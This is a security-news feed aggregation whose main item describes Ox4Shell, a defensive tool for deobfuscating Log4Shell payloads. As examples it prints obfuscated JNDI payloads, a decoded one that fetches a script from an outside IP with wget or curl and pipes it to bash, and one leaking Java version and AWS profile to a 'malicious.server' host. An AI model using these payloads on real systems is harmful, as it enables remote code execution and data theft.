Hacking on Medium
Suspected Iranian Hackers Targeted Several Israeli Organizations for?

https://cdn-images-1.medium.com/max/728/0*U-Ptnub5MWGsduTP.jpg
A suspected Iranian threat activity cluster has been linked to attacks aimed at Israeli shipping, government, energy, and healthcare…

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Hacking on Medium
Bitcoin public and private key

https://cdn-images-1.medium.com/max/915/0*FAals0IS3wRgiWOz
As you may already know, our program works with private keys, matching them to various addresses. Let’s expand our knowledge of this…

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Hacking on Medium
Top 3 HACKING Operating Systems + BONUS TIP

https://cdn-images-1.medium.com/max/2600/1*uoJ7QtrV9ZdpcX5odFpT-g.jpeg
In my opinion an operating system is just a tool. The tool has to help me to achieve my goals in the most efficient way possible. I have…

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Could GitHub Copilot produce a vulnerable code?

GitHub Copilot is an interesting solution that promises to simplify the developer’s day-to-day tasks.Continue reading on Medium »
Read more...

Could GitHub Copilot produce a vulnerable code?
https://yevhsec1.medium.com/could-github-copilot-produce-a-vulnerable-code-8c23c890e578?source=rss------bug_bounty-5

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GitHub Copilot is an interesting solution that promises to simplify the developer’s day-to-day tasks.Continue reading on Medium » (https://yevhsec1.medium.com/could-github-copilot-produce-a-vulnerable-code-8c23c890e578?source=rss------bug_bounty-5)

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Exploit Collector
Zimbra Zip Path Traversal

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hacking: security in practice
Plex security breach?

https://external-preview.redd.it/x18XL4CmRTIveo8_Qm-l2WzYxX9eGknVFBqHte5ZMNc.jpg?width=640&crop=smart&auto=webp&s=6dec0eab6ca54ca486d65f020b6a0c90b363da95 submitted by /u/d4vinder
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Server Side Template Injections Portswiggers Labs Walkthrough.
https://infosecwriteups.com/server-side-template-injections-portswiggers-labs-walkthrough-5a1a06f057d2?source=rss------bug_bounty-5

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Hi my name is Hashar Mujahid. Today we are going to solve some labs regarding server-side template Injections.Continue reading on InfoSec Write-ups » (https://infosecwriteups.com/server-side-template-injections-portswiggers-labs-walkthrough-5a1a06f057d2?source=rss------bug_bounty-5)

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Ox4Shell - Deobfuscate Log4Shell Payloads With Ease
http://www.kitploit.com/2022/08/ox4shell-deobfuscate-log4shell-payloads.html

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Deobfuscate Log4Shell payloads with ease. Description Since the release of the Log4Shell vulnerability (https://www.kitploit.com/search/label/Vulnerability) (CVE-2021-44228), many tools were created to obfuscate Log4Shell payloads, making the lives of security engineers a nightmare. This tool intends to unravel the true contents of obfuscated Log4Shell payloads. For example, consider the following obfuscated payload: ${zrch-Q(NGyN-yLkV:-}${j${sm:Eq9QDZ8-xEv54:-ndi}${GLX-MZK13n78y:GW2pQ:-:l}${ckX:2@BH[)]Tmw:a(:-da}${W(d:KSR)ky3:bv78UX2R-5MV:-p:/}/1.${)U:W9y=N:-}${i9yX1[:Z[Ve2=IkT=Z-96:-1.1}${[W*W:w@q.tjyo@-vL7thi26dIeB-HxjP:-.1}:38${Mh:n341x.Xl2L-8rHEeTW*=-lTNkvo:-90/}${sx3-9GTRv:-Cal}c$c${HR-ewA.mQ:g6@jJ:-z}3z${uY)u:7S2)P4ihH:M_S8fanL@AeX-PrW:-]}${S5D4[:qXhUBruo-QMr$1Bd-.=BmV:-}${_wjS:BIY0s:-Y_}p${SBKv-d9$5:-}Wx${Im:ajtV:-}AoL${=6wx-_HRvJK:-P}W${cR.1-lt3$R6R]x7-LomGH90)gAZ:NmYJx:-}h}
After running Ox4Shell, it would transform into an intuitive and readable form: ${jndi:ldap://1.1.1.1:3890/Calc$cz3z]Y_pWxAoLPWh}
This tool also aids to identify and decode (https://www.kitploit.com/search/label/Decode) base64 commands For example, consider the following obfuscated payload: ${jndi:ldap://1.1.1.1:1389/Basic/Command/Base64/KHdnZXQgLU8gLSBodHRwOi8vMTg1LjI1MC4xNDguMTU3OjgwMDUvYWNjfHxjdXJsIC1vIC0gaHR0cDovLzE4NS4yNTAuMTQ4LjE1Nzo4MDA1L2FjYyl8L2Jpbi9iYXNoIA==}
After running Ox4Shell, the tool reveals the attacker’s intentions: ${jndi:ldap://1.1.1.1:1389/Basic/(wget -O - http://185.250.148.157:8005/acc||curl -o - http://185.250.148.157:8005/acc)|/bin/bash
We recommend running Ox4Shell with a provided file (-f) rather than an inline payload (https://www.kitploit.com/search/label/Payload) (-p), because certain shell environments will escape important characters, therefore will yield inaccurate results.Usage To run the tool simply: ~/Ox4Shell » python ox4shell.py --help
usage: ox4shell [-h] [-d] [-m MOCK] [--max-depth MAX_DEPTH] [--decode-base64] (-p PAYLOAD | -f FILE)

____ _ _ _____ _ _ _
/ __ \ | || | / ____| | | | |
| | | |_ _| || || (___ | |__ ___| | |
| | | \ \/ /__ _\___ \| '_ \ / _ \ | |
| |__| |> < | | ____) | | | | __/ | |
\____//_/\_\ |_||_____/|_| |_|\___|_|_|

Ox4Shell - Deobfuscate (https://www.kitploit.com/search/label/Deobfuscate) Log4Shell payloads with ease.
Created by https://oxeye.io

General:
-h, --help Show this help message and exit
-d, --debug Enable debug mode (default: False)
-m MOCK, --mock MOCK The location of the mock data JSON file that replaces certain values in the payload (default: mock.json)
--max-depth MAX_DEPTH
The ma ximum number of iteration to perform on a given payload (default: 150)
--decode-base64 Payloads containing base64 will be decoded (default: False)

Targets:
Choose which target payloads to run Ox4Shell on

-p PAYLOAD, --payload PAYLOAD
A single payload to deobfuscate, make sure to escape '$' signs (default: None)
-f FILE, --file FILE A file containing payloads delimited by newline (default: None)
Mock Data The Log4j library (https://www.kitploit.com/search/label/Library) has a few unique lookup functions, which allow users to look up environment variables, runtime information on the Java process, and so forth. This capability grants threat actors the ability to probe for specific information that can uniquely identify the compromised machine they targeted. Ox4Shell uses the mock.json file to insert common values into certain lookup function, for example, if the payload contains the value ${env:HOME}, we can replace it with a custom mock value. The default set of mock data provided is: {
"hostname": "ip-127.0.0.1",
"env": {
"aws_profile": "staging",
"user": "ubuntu",
"pwd": "/opt/",

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"path": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin"
},
"sys": {
"java.version": "16.0.2",
"user.name": "ubuntu"
},
"java": {
"version": "Java version 16.0.2",
"runtime": "OpenJDK Runtime Environment (build 1.8.0_181-b13) from Oracle Corporation",
"vm": "OpenJDK 64-Bit Server VM (build 25.181-b13, mixed mode)",
"os": "Linux 5.10.47-linuxkit unknown, architecture: amd64-64",
"locale": "default locale: en_US, platform encoding: UTF-8",
"hw": "processors: 1, architecture: amd64-64"
}
}
As an example, we can deobfuscate the following payload using the Ox4Shell's mocking capability: > python ox4shell.py -p "\${jndi:ldap://\${sys:java.version}.\${env:AWS_PROFILE}.malicious.server/a}" ${jndi:ldap://16.0.2.staging.malicious.server/a}'>~/Ox4Shell >> python ox4shell.py -p "\${jndi:ldap://\${sys:java.version}.\${env:AWS_PROFILE}.malicious.server/a}"
${jndi:ldap://16.0.2.staging.malicious.server/a} Authors Daniel Abeles (https://twitter.com/Daniel_Abeles) Ron Vider (https://twitter.com/ron_vider) License The source code for the project is licensed under the MIT license, which you can find in the LICENSE file.

Download Ox4Shell (https://github.com/ox-eye/Ox4Shell)

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Hacking on Medium
Server Side Template Injections Portswiggers Labs Walkthrough.

https://cdn-images-1.medium.com/max/770/0*_fRGG5ntaNZoj3T9.png
Hi my name is Hashar Mujahid. Today we are going to solve some labs regarding server-side template Injections.

Continue reading on InfoSec Write-ups »

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